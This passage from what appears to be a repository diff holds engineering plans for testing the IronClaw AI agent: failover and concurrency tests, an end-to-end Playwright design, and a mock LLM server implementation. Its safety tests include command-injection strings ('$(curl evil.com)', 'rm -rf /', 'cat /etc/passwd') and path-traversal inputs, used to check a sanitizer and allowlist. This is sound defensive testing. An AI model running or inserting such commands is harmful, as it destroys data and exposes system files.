struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -0,0 +1,354 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
+952
View File
@@ -0,0 +1,952 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
